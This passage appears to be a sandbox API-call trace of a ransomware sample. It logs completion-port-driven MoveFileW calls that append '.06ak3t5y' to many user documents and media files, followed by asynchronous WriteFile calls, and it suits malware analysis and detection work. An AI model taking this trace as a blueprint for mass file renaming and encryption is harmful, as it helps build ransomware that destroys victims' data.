lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.235] CloseHandle (hObject=0x36c) returned 1 [0113.238] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd6) returned 0x30a82f0 [0113.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\SGiE0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\sgie0.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\SGiE0.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\sgie0.pptx.06ak3t5y")) returned 1 [0113.240] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0113.240] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20698a0) returned 1 [0113.241] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45e15a8) returned 1 [0113.241] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.241] CloseHandle (hObject=0x370) returned 1 [0113.243] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xde) returned 0x2070c20 [0113.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\t4hmzP4sxl.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\t4hmzp4sxl.doc"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\t4hmzP4sxl.doc.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\t4hmzp4sxl.doc.06ak3t5y")) returned 1 [0113.245] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.245] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086508) returned 1 [0113.246] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45f6c48) returned 1 [0113.246] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.246] CloseHandle (hObject=0x374) returned 1 [0113.248] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0113.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TkZtgo9eUgYlcNaPSWlL.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\tkztgo9eugylcnapswll.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TkZtgo9eUgYlcNaPSWlL.xlsx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\tkztgo9eugylcnapswll.xlsx.06ak3t5y")) returned 1 [0113.250] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.250] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f880) returned 1 [0113.250] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4599338) returned 1 [0113.252] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.252] CloseHandle (hObject=0x378) returned 1 [0113.253] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0113.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TQAB2NjEL6JO02B_.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\tqab2njel6jo02b_.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TQAB2NjEL6JO02B_.xlsx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\tqab2njel6jo02b_.xlsx.06ak3t5y")) returned 1 [0113.256] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.256] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee800) returned 1 [0113.256] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f7ba0) returned 1 [0113.258] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.258] CloseHandle (hObject=0x380) returned 1 [0113.260] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf2) returned 0x2099090 [0113.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TtXfXxvP2sv01dTtReh.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\ttxfxxvp2sv01dttreh.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\TtXfXxvP2sv01dTtReh.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\ttxfxxvp2sv01dttreh.docx.06ak3t5y")) returned 1 [0113.262] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.262] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0780) returned 1 [0113.262] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46087c8) returned 1 [0113.264] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.265] CloseHandle (hObject=0x384) returned 1 [0113.267] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf0) returned 0x207d648 [0113.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\U5KwAzHQh Ydz8Itp H.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\u5kwazhqh ydz8itp h.ppt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\U5KwAzHQh Ydz8Itp H.ppt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\u5kwazhqh ydz8itp h.ppt.06ak3t5y")) returned 1 [0113.268] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.268] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0e80) returned 1 [0113.269] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4620488) returned 1 [0113.269] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.269] CloseHandle (hObject=0x388) returned 1 [0113.271] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0113.271] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\uEWQ Dy-Fw0wiatk6.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\uewq dy-fw0wiatk6.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\uEWQ Dy-Fw0wiatk6.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\uewq dy-fw0wiatk6.docx.06ak3t5y")) returned 1 [0113.272] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.273] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee878) returned 1 [0113.273] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4633898) returned 1 [0113.273] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.274] CloseHandle (hObject=0x38c) returned 1 [0113.275] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0113.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Xhy8G8l_DiYgdEinCs86.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\xhy8g8l_diygdeincs86.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Xhy8G8l_DiYgdEinCs86.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\xhy8g8l_diygdeincs86.pptx.06ak3t5y")) returned 1 [0113.277] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.277] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0e00) returned 1 [0113.277] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x464a8d8) returned 1 [0113.278] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.278] CloseHandle (hObject=0x390) returned 1 [0113.279] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd4) returned 0x30a82f0 [0113.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\y1Uz_.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\y1uz_.odt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\y1Uz_.odt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\y1uz_.odt.06ak3t5y")) returned 1 [0113.281] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0113.281] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069ae0) returned 1 [0113.281] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f84d0) returned 1 [0113.282] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.282] CloseHandle (hObject=0x394) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xdc) returned 0x2070c20 [0113.284] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yJSmVxafx.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\yjsmvxafx.pdf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yJSmVxafx.pdf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\yjsmvxafx.pdf.06ak3t5y")) returned 1 [0113.285] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.285] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086570) returned 1 [0113.286] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4658570) returned 1 [0113.286] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.286] CloseHandle (hObject=0x398) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe0) returned 0x2070c20 [0113.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yruBBVRJKY.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\yrubbvrjky.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\yruBBVRJKY.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\yrubbvrjky.pptx.06ak3t5y")) returned 1 [0113.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068740) returned 1 [0113.289] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x466e7a8) returned 1 [0113.293] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.293] CloseHandle (hObject=0x39c) returned 1 [0113.295] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe2) returned 0x20ab750 [0113.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Z t_Z1agjCu.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\z t_z1agjcu.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Z t_Z1agjCu.xlsx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\z t_z1agjcu.xlsx.06ak3t5y")) returned 1 [0113.296] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.296] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20687b0) returned 1 [0113.296] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x467bf10) returned 1 [0113.298] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.298] CloseHandle (hObject=0x3a0) returned 1 [0113.300] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\3MXvqj-GZEArJKONkb_.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\3mxvqj-gzearjkonkb_.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\3MXvqj-GZEArJKONkb_.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\3mxvqj-gzearjkonkb_.mp3.06ak3t5y")) returned 1 [0113.301] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.301] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee968) returned 1 [0113.302] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x468dbf8) returned 1 [0113.302] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.302] CloseHandle (hObject=0x3a4) returned 1 [0113.304] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd6) returned 0x30a82f0 [0113.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\69r Y8_shB.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\69r y8_shb.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\69r Y8_shB.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\69r y8_shb.mp3.06ak3t5y")) returned 1 [0113.305] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0113.305] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069b40) returned 1 [0113.305] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x459dbf8) returned 1 [0113.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.307] CloseHandle (hObject=0x3a8) returned 1 [0113.308] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xce) returned 0x3691490 [0113.309] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\biDq-D.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\bidq-d.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\biDq-D.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\bidq-d.m4a.06ak3t5y")) returned 1 [0113.310] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.310] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ead0) returned 1 [0113.311] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4690718) returned 1 [0113.311] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.312] CloseHandle (hObject=0x3ac) returned 1 [0113.314] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\dCyh_q8 rpkVYgZLK m.wav" (normalized: "c:\\users\\keecfmwgj\\music\\dcyh_q8 rpkvygzlk m.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\dCyh_q8 rpkVYgZLK m.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\dcyh_q8 rpkvygzlk m.wav.06ak3t5y")) returned 1 [0113.315] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.316] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee9e0) returned 1 [0113.316] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46996a0) returned 1 [0113.319] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.319] CloseHandle (hObject=0x3b0) returned 1 [0113.322] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd0) returned 0x3691490 [0113.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\FrpwP6s.wav" (normalized: "c:\\users\\keecfmwgj\\music\\frpwp6s.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\FrpwP6s.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\frpwp6s.wav.06ak3t5y")) returned 1 [0113.324] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.324] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069ba0) returned 1 [0113.325] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46a0d60) returned 1 [0113.325] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.326] CloseHandle (hObject=0x3b4) returned 1 [0113.328] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0113.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\fSf1idQOVtocKEOHiEU.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\fsf1idqovtockeohieu.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\fSf1idQOVtocKEOHiEU.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\fsf1idqovtockeohieu.m4a.06ak3t5y")) returned 1 [0113.330] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.330] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30eea58) returned 1 [0113.331] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46b8460) returned 1 [0113.331] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.332] CloseHandle (hObject=0x3b8) returned 1 [0113.334] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe2) returned 0x20ab750 [0113.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\ht6mcbD4xY51MFFx.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\ht6mcbd4xy51mffx.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\ht6mcbD4xY51MFFx.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\ht6mcbd4xy51mffx.mp3.06ak3t5y")) returned 1 [0113.336] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.336] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068890) returned 1 [0113.337] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46c2d40) returned 1 [0113.337] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.338] CloseHandle (hObject=0x3bc) returned 1 [0113.341] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xca) returned 0x3691490 [0113.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\qsI-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\qsi-.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\qsI-.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\qsi-.m4a.06ak3t5y")) returned 1 [0113.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691490) returned 1 [0113.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ea78) returned 1 [0113.343] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x46cf210) returned 1 [0113.347] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.347] WriteFile (in: hFile=0x2e8, lpBuffer=0x38f9ab8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9a90 | out: lpBuffer=0x38f9ab8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9a90) returned 0x0 [0113.348] RtlGetLastWin32Error () returned 0x3e5 [0113.349] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.349] WriteFile (in: hFile=0x290, lpBuffer=0x390f600, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x390f5d8 | out: lpBuffer=0x390f600, lpNumberOfBytesWritten=0x0, lpOverlapped=0x390f5d8) returned 0x0 [0113.350] RtlGetLastWin32Error () returned 0x3e5 [0113.350] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.351] WriteFile (in: hFile=0x288, lpBuffer=0x4741fc8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4741fa0 | out: lpBuffer=0x4741fc8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4741fa0) returned 0x0 [0113.352] RtlGetLastWin32Error () returned 0x3e5 [0113.352] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.353] WriteFile (in: hFile=0x37c, lpBuffer=0x391e7a0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391e778 | out: lpBuffer=0x391e7a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391e778) returned 0x0 [0113.353] RtlGetLastWin32Error () returned 0x3e5 [0113.354] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.354] WriteFile (in: hFile=0x268, lpBuffer=0x4744098, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4744070 | out: lpBuffer=0x4744098, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4744070) returned 0x0 [0113.355] RtlGetLastWin32Error () returned 0x3e5 [0113.355] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.356] WriteFile (in: hFile=0x410, lpBuffer=0x47970f0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796fa0 | out: lpBuffer=0x47970f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796fa0) returned 0x0 [0113.356] RtlGetLastWin32Error () returned 0x3e5 [0113.357] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: 